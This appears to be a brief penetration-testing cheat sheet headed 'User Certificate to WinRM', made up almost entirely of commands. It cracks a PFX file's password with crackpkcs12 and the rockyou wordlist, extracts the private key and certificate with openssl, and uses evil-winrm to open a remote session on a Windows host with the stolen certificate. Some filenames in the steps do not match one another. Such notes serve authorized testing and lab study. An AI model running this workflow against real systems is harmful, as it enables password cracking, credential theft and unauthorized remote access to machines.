User Certificate to WinRM
Last updated
Last updated
crackpkcs12 -d ../rockyou.txt somePFX.pfx
openssl pkcs12 -in usercert.pfx -nocerts -out privkey.pem -nodes
openssl pkcs12 -in usercert.pfx -nokeys -out cert.pem
Copy between --Begin ####to#### End-- contents to certificate.pen to cert.cert
Copy the --Begin ####to#### End-- contents to privkey.pem to privkey.key
evil-winrm -S -k privkey.key -c certificate.cert -i 10.0.0.1